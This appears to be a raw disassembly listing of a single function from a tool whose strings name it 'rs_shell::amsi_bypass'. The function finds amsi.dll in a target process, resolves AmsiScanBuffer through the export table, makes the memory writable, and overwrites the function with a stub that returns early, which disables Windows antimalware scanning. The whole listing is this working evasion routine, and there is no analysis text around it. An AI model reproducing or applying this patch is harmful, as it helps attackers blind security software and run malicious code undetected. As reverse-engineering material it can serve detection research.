Function at 0x14003e5e0
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x638
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x5b0], 0xfffffffffffffffe
mov esi, ecx
mov eax, ecx
mov qword [rbp + 0x560], rax
mov byte [rbp + 0x5af], dl
test dl, dl
je 0x14003e756
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], 0
lea rcx, [rbp + 0x200]
mov edx, 0x4b82f718
call fcn.140185ad0
cmp qword [rbp + 0x200], 0
je 0x14003fb7d
movzx ecx, word [rbp + 0x208]
mov rdx, qword [rbp + 0x210]
lea rax, [rbp + 0x450]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1fffff
lea r9, [rbp + 0x560]
mov r8d, 4
call fcn.1401871b8
mov dword [rbp + 0x5a8], eax
test eax, eax
jns 0x14003e76d
mov rax, qword [str.P__]
mov rax, qword [rax]
xor ecx, ecx
cmp rax, 4
setne cl
mov eax, 0xff
cmovbe eax, ecx
cmp al, 0xff
je 0x14003e6d4
movzx eax, al
test eax, eax
jne 0x14003e76d
lea rax, [rbp + 0x5a8]
mov qword [rbp + 0x500], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x508], rax
lea rax, str.Error_openning_target_process:
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x220], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x200]
mov edx, 4
mov r9d, pe_nt_image_headers64
call fcn.140049040
jmp 0x14003e76d
mov ecx, 0x1fffff
xor edx, edx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x560], rax
mov ecx, 2
xor edx, edx
call fcn.140190680
mov ecx, 0xf
mov edx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp - 0x40], 0x238
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
movzx eax, byte [0x1402a2221]
mov ecx, 0x100
mov edx, 1
call fcn.1400402e0
test rax, rax
je 0x14003fb6e
mov rsi, rax
lea rdx, [rbp - 0x10]
mov r8d, 0x100
mov rcx, rax
call fcn.1401bf140
mov qword [rbp + 0x200], 0x100
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], 0x100
lea rsi, [rbp + 0x438]
lea rdx, [rbp + 0x200]
mov rcx, rsi
call fcn.140035090
mov edx, 0x100
mov r8d, 1
mov rcx, qword [rbp + 0x4f8]
call fcn.1400402f0
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 3
jbe 0x14003e8ab
mov qword [rbp + 0x500], rsi
lea rax, [0x14003e1d0]
mov qword [rbp + 0x508], rax
lea rax, str.Module_name:
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x220], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x200]
mov edx, 4
mov r9d, 0xf6
call fcn.140049040
mov qword [rbp + 0x4b8], 0
lea r12, [rbp + 0x230]
lea r15, [rbp + 0x200]
mov r13, qword [sym.imp.KERNEL32.dll_Module32Next]
lea r14, [rbp + 0x450]
nop word cs:[rax + rax]
mov dword [rbp + 0x200], 0x238
mov rcx, rdi
mov rdx, r15
call r13
mov ebx, eax
movzx eax, byte [0x1402a2221]
mov ecx, 0x100
mov edx, 1
call fcn.1400402e0
test rax, rax
je 0x14003fb3d
mov r8d, 0x100
mov rcx, rax
mov rdx, r12
mov rsi, rax
call fcn.1401bf140
mov qword [rbp + 0x500], 0x100
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], 0x100
mov rcx, r14
lea rdx, [rbp + 0x500]
call fcn.140035090
mov edx, 0x100
mov r8d, 1
mov rcx, qword [rbp + 0x4f8]
call fcn.1400402f0
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 3
jbe 0x14003e9fb
mov qword [rbp + 0x568], r14
lea rax, [0x14003e1d0]
mov qword [rbp + 0x570], rax
lea rax, str.Next_module:
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], 1
mov qword [rbp + 0x520], 0
lea rax, [rbp + 0x568]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x500]
lea r8, str.rs_shell::amsi_bypass
mov r9d, 0xff
call fcn.140049040
mov rcx, qword [rbp + 0x458]
cmp qword [rbp + 0x460], 8
jne 0x14003ea1b
movabs rax, 0x6c6c642e69736d61
cmp qword [rcx], rax
je 0x14003ea40
cmp ebx, 1
jne 0x14003ea4e
mov rdx, qword [rbp + 0x450]
test rdx, rdx
je 0x14003e8e0
mov r8d, 1
call fcn.1400402f0
jmp 0x14003e8e0
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x4b8], rax
mov rdx, qword [rbp + 0x450]
test rdx, rdx
je 0x14003ea65
mov r8d, 1
call fcn.1400402f0
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 3
jbe 0x14003eb32
lea rax, [rbp + 0x4b8]
mov qword [rbp + 0x450], rax
lea rax, [0x140001140]
mov qword [rbp + 0x458], rax
mov qword [rbp + 0x200], 2
mov qword [rbp + 0x210], 2
mov qword [rbp + 0x220], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x228], rax
mov byte [rbp + 0x230], 3
lea rax, str.Amsi_base_addr:
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], 1
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x528], 1
mov qword [rbp + 0x510], r14
mov qword [rbp + 0x518], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x500]
mov edx, 4
mov r9d, 0x10a
call fcn.140049040
mov r15, qword [rbp + 0x4b8]
mov r13, qword [rbp + 0x560]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x480], xmm0
movaps xmmword [rbp + 0x470], xmm0
movaps xmmword [rbp + 0x460], xmm0
movaps xmmword [rbp + 0x450], xmm0
cmp byte [rbp + 0x5af], 0
je 0x14003ec7d
lea rcx, [rbp + 0x200]
mov edx, 0xa3288103
call fcn.140185ad0
cmp qword [rbp + 0x200], 0
je 0x14003fb95
movzx ecx, word [rbp + 0x208]
mov rdx, qword [rbp + 0x210]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x40
mov r8d, 5
mov r9, r13
call fcn.1401871b8
mov dword [rbp + 0x5a4], eax
test eax, eax
jns 0x14003ec9f
mov rax, qword [str.P__]
mov rax, qword [rax]
xor ecx, ecx
cmp rax, 4
setne cl
mov eax, 0xff
cmovbe eax, ecx
cmp al, 0xff
je 0x14003ebfb
movzx eax, al
test eax, eax
jne 0x14003ec9f
lea rax, [rbp + 0x5a4]
mov qword [rbp + 0x500], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x508], rax
lea rax, str.Error_reading_target_memory_to_retrieve_the_DOS_headers:
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x220], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x200]
mov edx, 4
mov r9d, 0x2f
call fcn.140049040
jmp 0x14003ec9f
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x450]
mov r9d, 0x40
mov rcx, r13
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x530], xmm0
movaps xmmword [rbp + 0x520], xmm0
movaps xmmword [rbp + 0x510], xmm0
movaps xmmword [rbp + 0x500], xmm0
lea rcx, [rbp + 0x500]
lea rdx, [rbp + 0x450]
mov r8d, 0x40
movzx r9d, byte [rbp + 0x5af]
call fcn.140033b50
lea rsi, [rbp + 0x200]
mov r8d, 0x108
mov rcx, rsi
xor edx, edx
call fcn.1401bf7e0
movsxd rdx, dword [rbp + 0x53c]
add rdx, r15
mov rcx, rsi
mov r8, r13
movzx r9d, byte [rbp + 0x5af]
call fcn.140033e10
mov rax, qword [str.P__]
mov rax, qword [rax]
xor ecx, ecx
cmp rax, 4
setne cl
mov eax, 0xff
cmovbe eax, ecx
movabs rsi, 0x1400000020
cmp al, 0xff
je 0x14003ed47
movzx eax, al
test eax, eax
jne 0x14003ee04
lea rax, [rbp + 0x288]
mov qword [rbp + 0x490], rax
lea rax, [0x140001180]
mov qword [rbp + 0x498], rax
mov qword [rbp + 0x568], 2
mov qword [rbp + 0x578], 2
mov qword [rbp + 0x588], 0
mov qword [rbp + 0x590], rsi
mov byte [rbp + 0x598], 3
lea rax, str.NT_headers:
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], 1
lea rax, [rbp + 0x568]
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], 1
lea rax, [rbp + 0x490]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x4d8], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x4c0]
mov edx, 4
mov r9d, 0x48
call fcn.140049040
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4a0], xmm0
movaps xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4b0], 0
mov edx, dword [rbp + 0x288]
add rdx, r15
lea rcx, [rbp + 0x490]
mov r8, r13
movzx r9d, byte [rbp + 0x5af]
call fcn.140034000
mov rax, qword [str.P__]
mov rax, qword [rax]
xor ecx, ecx
cmp rax, 4
setne cl
mov eax, 0xff
cmovbe eax, ecx
test al, al
je 0x14003ee6d
movzx eax, al
cmp eax, 0xff
jne 0x14003ef2a
lea rax, [rbp + 0x490]
mov qword [rbp + 0x550], rax
lea rax, [0x140040120]
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x568], 2
mov qword [rbp + 0x578], 2
mov qword [rbp + 0x588], 0
mov qword [rbp + 0x590], rsi
mov byte [rbp + 0x598], 3
lea rax, str.Exports:
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], 1
lea rax, [rbp + 0x568]
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], 1
lea rax, [rbp + 0x550]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x4d8], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x4c0]
mov edx, 4
mov r9d, 0x56
call fcn.140049040
xor ebx, ebx
lea r14, [rbp + 0x4f4]
lea rdi, [rbp + 0x4c0]
movabs rsi, 0x7265666675426e61
mov r12, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
nop dword [rax + rax]
mov dword [rbp + 0x4f4], 0
cmp byte [rbp + 0x5af], 0
je 0x14003f080
lea rcx, [rbp + 0x568]
mov edx, 0xa3288103
call fcn.140185ad0
cmp qword [rbp + 0x568], 0
je 0x14003fb51
movzx ecx, word [rbp + 0x570]
mov rdx, qword [rbp + 0x578]
mov eax, dword [rbp + 0x4b0]
lea r8, [r15 + rbx*4]
add r8, rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 4
mov r8d, 5
mov r9, r13
call fcn.1401871b8
mov dword [rbp + 0x5a4], eax
test eax, eax
jns 0x14003f0a5
mov rax, qword [str.P__]
mov rcx, qword [rax]
xor eax, eax
cmp rcx, 4
setne al
mov ecx, 0xff
cmova eax, ecx
cmp al, 0xff
je 0x14003f003
movzx eax, al
test eax, eax
jne 0x14003f0a5
lea rax, [rbp + 0x5a4]
mov qword [rbp + 0x4c0], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x4c8], rax
lea rax, str.Error_reading_target_memory_to_retrieve_the_function:
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], 1
mov qword [rbp + 0x588], 0
mov qword [rbp + 0x578], rdi
mov qword [rbp + 0x580], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x568]
lea r8, str.rs_shell::amsi_bypass
mov r9d, 0x66
call fcn.140049040
jmp 0x14003f0a5
mov eax, dword [rbp + 0x4b0]
lea rdx, [r15 + rbx*4]
add rdx, rax
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, r13
mov r8, r14
call r12
mov edx, dword [rbp + 0x4f4]
add rdx, r15
mov rcx, rdi
mov r8, r13
movzx r9d, byte [rbp + 0x5af]
call fcn.140034530
mov rcx, qword [rbp + 0x4c8]
mov rdx, qword [rbp + 0x4d0]
jmp 0x14003f0f3
dec rdx
movzx r8d, r8b
sub rdx, rcx
test r8d, r8d
jne 0x14003f180
test rdx, rdx
je 0x14003f1a6
mov rax, rdx
add rdx, rcx
movzx r8d, byte [rdx - 1]
test r8b, r8b
jns 0x14003f0e0
movzx r9d, byte [rdx - 2]
cmp r9b, 0xc0
jge 0x14003f13c
movzx r10d, byte [rdx - 3]
cmp r10b, 0xbf
jg 0x14003f146
movzx r11d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r11d, 7
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
jmp 0x14003f14e
add rdx, 0xfffffffffffffffe
and r9d, 0x1f
jmp 0x14003f159
add rdx, 0xfffffffffffffffd
and r10d, 0xf
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
shl r9d, 6
and r8b, 0x3f
movzx r8d, r8b
or r8d, r9d
cmp r8d, 0x110000
jne 0x14003f0e7
jmp 0x14003f1a6
cmp rax, 0xe
jne 0x14003f1a6
mov rax, qword [rcx]
movabs rdx, 0x6e61635369736d41
xor rax, rdx
mov rdx, qword [rcx + 6]
xor rdx, rsi
or rdx, rax
je 0x14003f692
inc rbx
mov eax, dword [rbp + 0x4a8]
cmp rbx, rax
jge 0x14003f1d4
mov rdx, qword [rbp + 0x4c0]
test rdx, rdx
je 0x14003ef50
mov r8d, 1
call fcn.1400402f0
jmp 0x14003ef50
mov rdx, qword [rbp + 0x4c0]
test rdx, rdx
je 0x14003f1eb
mov r8d, 1
call fcn.1400402f0
xor r15d, r15d
mov qword [rbp + 0x4c0], r15
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f2c9
mov qword [rbp + 0x450], rdi
lea rax, [0x140033b10]
mov qword [rbp + 0x458], rax
mov qword [rbp + 0x200], 2
mov qword [rbp + 0x210], 2
mov qword [rbp + 0x220], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x228], rax
mov byte [rbp + 0x230], 3
lea rax, str.AmsiScanBuffer_base_addr:
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], 1
lea rax, [rbp + 0x450]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x500]
mov edx, 4
mov r9d, 0x10d
call fcn.140049040
movabs rax, 0xc300000001c0c748
mov qword [rbp + 0x568], rax
cmp byte [rbp + 0x5af], 0
je 0x14003f628
mov rsi, qword [rbp + 0x4c0]
mov qword [rbp + 0x450], rsi
mov dword [rbp + 0x490], 0x20
lea rbx, [rbp + 0x200]
mov rcx, rbx
mov edx, 0x50e92888
call fcn.140185ad0
cmp qword [rbp + 0x200], 0
je 0x14003fbb2
movzx ecx, word [rbp + 0x208]
mov rdx, qword [rbp + 0x210]
mov r9, qword [rbp + 0x560]
mov qword [rbp + 0x200], 8
lea rax, [rbp + 0x490]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x30], 4
mov r8d, 5
call fcn.1401871b8
mov dword [rbp + 0x5a8], eax
test eax, eax
jns 0x14003f40c
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f40c
lea rax, [rbp + 0x5a8]
mov qword [rbp + 0x500], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x508], rax
lea rax, str.Error_changing_memory_permissions:
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x220], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x200]
mov edx, 4
mov r9d, 0x11e
call fcn.140049040
lea rcx, [rbp + 0x200]
mov edx, 0xc3170192
call fcn.140185ad0
cmp qword [rbp + 0x200], 0
je 0x14003fbcc
movzx ecx, word [rbp + 0x208]
mov rdx, qword [rbp + 0x210]
mov r9, qword [rbp + 0x560]
lea rax, [rbp + 0x568]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 8
mov r8d, 5
call fcn.1401871b8
mov dword [rbp + 0x5a8], eax
test eax, eax
jns 0x14003f510
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f510
lea rax, [rbp + 0x5a8]
mov qword [rbp + 0x500], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x508], rax
lea rax, str.Error_patching_target_process:
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x220], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x200]
mov edx, 4
mov r9d, 0x129
call fcn.140049040
lea rsi, [rbp + 0x200]
mov rcx, rsi
mov edx, 0x50e92888
call fcn.140185ad0
cmp qword [rbp + 0x200], 0
je 0x14003fbe6
movzx ecx, word [rbp + 0x208]
mov rdx, qword [rbp + 0x210]
mov r9, qword [rbp + 0x560]
mov qword [rbp + 0x200], 8
mov eax, dword [rbp + 0x490]
lea r8, [rbp + 0x490]
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x450]
mov qword [rsp + 0x20], rax
mov r8d, 5
call fcn.1401871b8
mov dword [rbp + 0x5a8], eax
test eax, eax
jns 0x14003f652
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f652
lea rax, [rbp + 0x5a8]
mov qword [rbp + 0x500], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x508], rax
lea rax, str.Error_rollback_memory_permissions:
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x220], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x200]
mov edx, 4
mov r9d, 0x134
call fcn.140049040
jmp 0x14003f652
mov rcx, qword [rbp + 0x560]
mov rdx, qword [rbp + 0x4c0]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x568]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x438]
test rdx, rdx
je 0x14003f67d
mov rcx, qword [rbp + 0x440]
mov r8d, 1
call fcn.1400402f0
nop
add rsp, 0x638
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f71b
mov qword [rbp + 0x550], rdi
lea rax, [0x140001390]
mov qword [rbp + 0x558], rax
lea rax, str.Name:
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], 1
mov qword [rbp + 0x588], 0
lea rax, [rbp + 0x550]
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x580], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x568]
mov edx, 4
mov r9d, 0x7b
call fcn.140049040
mov word [rbp + 0x5a2], 0
cmp byte [rbp + 0x5af], 0
je 0x14003f840
lea rcx, [rbp + 0x568]
mov edx, 0xa3288103
call fcn.140185ad0
cmp qword [rbp + 0x568], 0
je 0x14003fc00
movzx ecx, word [rbp + 0x570]
mov rdx, qword [rbp + 0x578]
mov eax, dword [rbp + 0x4b4]
lea r8, [r15 + rbx*2]
add r8, rax
lea rax, [rbp + 0x5a2]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 2
mov r8d, 5
mov r9, r13
call fcn.1401871b8
mov dword [rbp + 0x5a4], eax
test eax, eax
jns 0x14003f86c
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f86c
lea rax, [rbp + 0x5a4]
mov qword [rbp + 0x550], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x558], rax
lea rax, str.Error_reading_target_memory_to_retrieve_the_index_number:
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], 1
mov qword [rbp + 0x588], 0
lea rax, [rbp + 0x550]
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x580], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x568]
mov edx, 4
mov r9d, 0x8a
call fcn.140049040
jmp 0x14003f86c
mov eax, dword [rbp + 0x4b4]
lea rdx, [r15 + rbx*2]
add rdx, rax
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x5a2]
mov r9d, 2
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx eax, word [rbp + 0x5a2]
mov word [rbp + 0x5a0], ax
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003f90e
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x550], rax
lea rax, [0x1401bd360]
mov qword [rbp + 0x558], rax
lea rax, str.Index:
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], 1
mov qword [rbp + 0x588], 0
lea rax, [rbp + 0x550]
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x580], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x568]
mov edx, 4
mov r9d, 0x9a
call fcn.140049040
mov dword [rbp + 0x54c], 0
cmp byte [rbp + 0x5af], 0
je 0x14003fa3c
lea rcx, [rbp + 0x568]
mov edx, 0xa3288103
call fcn.140185ad0
cmp qword [rbp + 0x568], 0
je 0x14003fc1a
movzx ecx, word [rbp + 0x570]
mov rdx, qword [rbp + 0x578]
mov eax, dword [rbp + 0x4ac]
add rax, r15
movzx r8d, word [rbp + 0x5a0]
lea rax, [rax + r8*4]
lea r8, [rbp + 0x54c]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 4
mov r8d, 5
mov r9, r13
call fcn.1401871b8
mov dword [rbp + 0x5a4], eax
test eax, eax
jns 0x14003fa6f
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003fa6f
lea rax, [rbp + 0x5a4]
mov qword [rbp + 0x550], rax
lea rax, [0x1401bcbf0]
mov qword [rbp + 0x558], rax
lea rax, str.Error_reading_target_memory_to_retrieve_the_index_address:
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], 1
mov qword [rbp + 0x588], 0
lea rax, [rbp + 0x550]
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x580], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x568]
mov edx, 4
mov r9d, 0xa9
call fcn.140049040
jmp 0x14003fa6f
mov eax, dword [rbp + 0x4ac]
add rax, r15
movzx ecx, word [rbp + 0x5a0]
lea rdx, [rax + rcx*4]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x54c]
mov r9d, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [rbp + 0x54c]
mov dword [rbp + 0x4f0], esi
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14003fb15
lea rax, [rbp + 0x4f0]
mov qword [rbp + 0x550], rax
lea rax, [fcn.1401bd5a0]
mov qword [rbp + 0x558], rax
lea rax, str.Index_addr:
mov qword [rbp + 0x568], rax
mov qword [rbp + 0x570], 1
mov qword [rbp + 0x588], 0
lea rax, [rbp + 0x550]
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x580], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::amsi_bypass
lea rcx, [rbp + 0x568]
mov edx, 4
mov r9d, 0xb9
call fcn.140049040
mov esi, dword [rbp + 0x4f0]
mov rdx, qword [rbp + 0x4c0]
test rdx, rdx
je 0x14003fb33
mov rcx, qword [rbp + 0x4c8]
mov r8d, 1
call fcn.1400402f0
mov eax, esi
add r15, rax
jmp 0x14003f1ee
mov ecx, 1
mov edx, 0x100
call fcn.1401c87b0
jmp 0x14003fc32
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1908]
mov edx, 0x11
call fcn.1401c8a30
jmp 0x14003fc32
mov ecx, 1
mov edx, 0x100
call fcn.1401c87b0
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1a88]
mov edx, 0x11
call fcn.1401c8a30
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1818]
mov edx, 0x11
call fcn.1401c8a30
jmp 0x14003fc32
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1b60]
mov edx, 0x11
call fcn.1401c8a30
jmp 0x14003fc32
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1bb0]
mov edx, 0x11
call fcn.1401c8a30
jmp 0x14003fc32
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1bf8]
mov edx, 0x11
call fcn.1401c8a30
jmp 0x14003fc32
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1980]
mov edx, 0x11
call fcn.1401c8a30
jmp 0x14003fc32
lea rcx, [0x1401d17f4]
lea r8, [0x1401d1a00]
mov edx, 0x11
call fcn.1401c8a30
ud2